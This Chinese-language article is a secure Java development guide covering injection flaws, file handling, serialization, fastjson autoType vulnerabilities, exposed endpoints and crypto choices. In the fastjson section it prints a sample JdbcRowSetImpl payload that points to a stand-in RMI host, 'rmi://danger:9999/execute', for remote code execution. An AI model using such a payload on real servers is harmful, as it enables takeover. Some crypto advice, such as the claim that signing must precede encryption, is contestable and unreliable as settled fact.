Java安全开发

一、数据校验

数据校验一般分为两种思路:

  • 黑名单

    剔除或者替换某些危险的字符,但是这种方案是比较弱的校验,因为你永远想不到会有其它什么危险的字符不在黑名单之内;

  • 白名单

    限定只能输入合法的字符,安全性高,但是白名单可能会维护较多的内容;

1.1 SQL注入

避免直接使用不可信的数据来拼接需要执行的SQL语句,这是为了防止原始的SQL被意外地篡改为与预期完全不同语句。通常有以下两种解决方法:

  • 使用参数化查询;

    参数化查询在JDBC中主要表现就是使用PreparedStatement,数据库的预编译技术会将语句提前编译好并形成执行计划保存在数据库中,语句中的参数会使用占位符表示;后续传入参数真正执行时,参数内容无论是什么,都只会被当作SQL参数按照原先的执行计划执行,而不会因为参数内容而改变执行计划从而造成意外的SQL。一句话,语句是语句,参数是参数,相互之间互不影响。

    在其它诸如Mybatis、Hibernate等框架中,都有相应的语法来使用参数化查询;

  • 对不可信地数据进行校验;

    对于常见的进行SQL注入攻击的特殊符号进行过滤、替换或者是转义,开发者可以自己进行这个过程,也可以使用ESAPI这个工具。ESAPI是OWASP提供的一个专门用来转义危险字符的类库,使用它可以降低发生风险的概率。

1.2 XML注入

在构造XML的时候,未对用户输入的内容进行校验,很容易构造出非预期的XML内容。比如:

xmlString = "employee" + request.getUserId() + "" + request.getDescription() + ""
// 输出xmlString构造XML

如上代码构造出来的XML结构应该是这样的:


  employee
  123
  the first employee

结果,程序没有对入参userId和description进行内容校验,使得用户在其中输入了xml标签内容,比如userId内容为:

123admin123

那么构造出来的XML将会是:


  employee
  123
  admin
  123
  the first employee

某些XML解析器(SAX)在解析时,对于重复的标签内容,后者会覆盖前者,那么原本属于employee角色的123用户,被提权成了admin角色。

对于XML注入的防范通常有如下两种方法:

  • 开发人员自己在程序中进行特殊字符的白名单或者黑名单过滤;
  • 使用安全的XML解析库(dom4j);

1.3 日志伪造

如果对用户输入参数没有做校验直接就打印到日志中,那么日志内容就可能被伪造。比如换行,增加了一些严重级别的日志,让日志监控报警,或者让运维人员误以为系统发生了故障等。

1.4 命令注入

尽量避免使用Runtime.exec(parameter)来运行系统命令,如果一定要使用,要做好白名单或者黑名单的校验;

1.5 XSS攻击

将用户输入的内容未经校验就直接返回到前端的html页面,容易造成跨站脚本的执行,从而导致用户cookie的泄露。

解决方法也通常就是黑白名单过滤、替换、转义。

二、IO操作

2.1 及时删除使用完毕的临时文件

临时文件可能会有用户或者系统的敏感信息,开发人员使用完毕后,不予及时删除,那么拥有服务器文件访问权限的人,或者黑客通过服务器漏洞获取服务器文件访问权限后,就有机会泄露敏感数据。

2.2 创建文件时指定合适的访问许可

现代Java在服务器上创建文件的时候就可以同时指定文件的访问权限:

d-rwx-rwx-rwx
分别表示文件类型、文件所有者的权限、文件所属组的权限、其他人的权限

如果一开始没有指定的话,创建的文件很可能就会被别人意外的访问和更改。

2.3 限制上传文件的格式和大小

防止上传恶意的可执行脚本以及压缩炸弹等。

三、序列化与反序列化

3.1 敏感数据的加密和签名

加密是为了保证数据的秘密性,签名是为了保证数据的完整性。

  • 不要使用私有的加密算法,通常这类算法会引入很多不必要的漏洞;
  • 不要使用不安全的加密算法,比如对称算法中的DES;散列算法中的SHA1和MD5;推荐使用对称算法中的AES、SM4;推荐使用非对称算法中的RSA、SM2、SM9;推荐散列算法中的SM3;
  • 对敏感数据仅加密是不够的,黑客完全可以随机改动密文,让接收者无法解密;或者即使解密成功,也无法验证数据的完整性;
  • 先加密后签名也是不合适的,黑客可以把原始签名去除或者修改,让接收者无法通过签名验证;
  • 正确的做法应该是先签名,再加密;

3.2 禁止序列化未加密的敏感数据

主要是防止敏感数据被无意识地序列化导致信息地泄露。通常有两种方案,一种是加密之后再序列化;还有一种是使用transient关键字或者其它序列化方法防止敏感字段被序列化。

3.3 三方库的选择

序列化和反序列化的类库有很多,Java自带的、FastJson、Gason、Jackson等,其中自己在项目中常用的就是fastjson,但是最近fastjson为什么老是爆出漏洞?

这一切都是因为fastjson的autoType特性。什么是AutoType属性?我们举一个例子来说明一下。

@Data
public class Person {
    private String name;
    private Integer age;
}
@Data
public class Student extends Person {
    private Integer grade;
}
@Data
public class School {
    private String name;
    private Person person;
}

对如上School类来说,其中引用的对象Person是一个父类,我们在实例化它的时候给它赋值一个子类Student。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        String result = JSON.toJSONString(school);
        // 序列化结果为:{"name":"XX高中","person":{"age":12,"grade":3,"name":"jack"}}
        log.info("序列化结果为:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化结果为:School(name=XX高中, person=Person(name=jack, age=12))
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        // person为:Person(name=jack, age=12)
        log.info("person为:{}", person);
    }

我们注意到,在序列化的时候,Student子类的类型被抹去了,被父类Person所替代。虽然其仍然拥有子类特有的属性grade,但是在反序列化的时候该属性是不能被赋值到对应的属性上的,因为父类Person没有这个属性。我们也无法获得子类Student。

同样的,我们使用Jackson来实现相同的效果如下:

    public static void main(String[] args) throws JsonProcessingException {
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(2);
        School school = new School();
        school.setName("XX高中");
        school.setPerson(jack);

        ObjectMapper mapper = new ObjectMapper();
        String result = mapper.writeValueAsString(school);
        log.info("序列化结果为:{}", result);

        //在反序列化时忽略在json中存在但Java对象不存在的属性
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
        School school2 = mapper.readValue(result, School.class);
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        log.info("person为:{}", person);
    }

使用Jackson同样无法直接得到Student子类,但是fastjson的autoType特性就可以让我们得到Student子类。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        // autoType默认是关闭的,需要手动开启
        String result = JSON.toJSONString(school, SerializerFeature.WriteClassName);
        // 序列化结果为:{"@type":"*.School","name":"XX高中","person":{"@type":"*.Student","age":12,"grade":3,"name":"jack"}}
        log.info("序列化结果为:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化结果为:School(name=XX高中, person=Student(grade=3))
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        // person为:Student(grade=3)
        log.info("person为:{}", person);
    }

那么为什么autoType会导致漏洞的产生呢?这其实取决于fastjson的序列化和反序列机制,和Gason不同,Gason是基于反射的原理来获取和赋值属性的,fastjson是基于getter和setter方法的。当我们启用autoType的时候,黑客可以篡改json字符串,将其中的@type类改为一些可以远程执行命令的类,比如com.sun.rowset.JdbcRowSetImpl,然后在反序列化的时候利用setter方法,将json字符串中的参数值改为远程的命令,那么就达到了利用服务器远程执行命令漏洞的目的。

下面是一个可能被篡改的json字符串:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://danger:9999/execute".......}

后续版本中,fastjson主要就是默认关闭了autoType开关,并不断地添加黑白名单,黑客总有办法绕过黑白名单,并通过一些其它方法攻击fastjson的这个漏洞。

现在fastjson的漏洞问题可以通过以下三种方法解决:

  • 升级到最新版本,autoType默认关闭,想使用手动开启即可;
  • 68老版本中,如果确认不需要使用autoType,可以设置为安全模式,禁用autoType,注意一定要禁用,即使默认关闭autoType不使用,仍然有可能存在漏洞风险;
  • 使用其它第三方类库替换,但是因为API都不尽相同,开发成本不低;

四、运行环境

4.1 避免包含任何调试入口点

开发者在开发过程中,可能会出于调试的目的在项目中留下了特定的后门代码,这些代码没有必要与应用一起交付生产部署。

public class Test{
  public static void main(String[] args) {
    Person person = new Persion();
    // 一些关于Person类的测试代码
  }
}

这样的调试入口点在生产上是很可能被攻击者利用,使用Test.main()来执行Person类的测试代码的。所以,应该在发布生产前,将这样的代码全部移除。

4.2 避免无认证地暴露后台接口信息及端点信息

  • swagger可以看到所有的接口信息;
  • acutator可以监控系统运行信息;

诸如此类的springboot插件不允许没有认证措施就允许被访问。

五、其它

5.1 禁止在日志中打印敏感数据

口令、密钥、用户的敏感信息等。

5.2 禁止硬编码敏感信息

任何能够访问到class文件的人都可以反编译发现这些硬编码的敏感信息,同样的,也不能存储在配置文件中。

可以从外部的一个安全的文件夹中获取,或者从某些提供安全信息存储的服务中获取。

5.3 使用安全的加密算法

  • 对称
    • AES128
    • AES192
    • AES256
    • SM1
  • 非对称
    • RSA2048
    • ECC256
    • SM2
  • 消息摘要
    • SHA2(224\256\384)
    • SHA3
    • SM3(256)

在使用Hash算法的时候,同样的内容会hash得到同样的值,所以很容易被破解,应该是用盐值:

  • 盐值至少需要8个字节的内容,且盐值应该是由安全随机数产生;
  • 应该使用强Hash函数,比如SHA256;
  • 默认需要进行50000次hash,对性能有要求的系统至少要5000次hash;

如上要求的Hash值的产生都是有对应的JDK类库支持的,比如PBKDF2算法,不需要我们手动去实现。

5.4 使用强随机数

java.util.Random产生的是伪随机数序列,不能用于安全敏感的应用,应该是用java.security.SecureRandom类。

六、参考内容

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

你可能感兴趣的:(Java安全开发)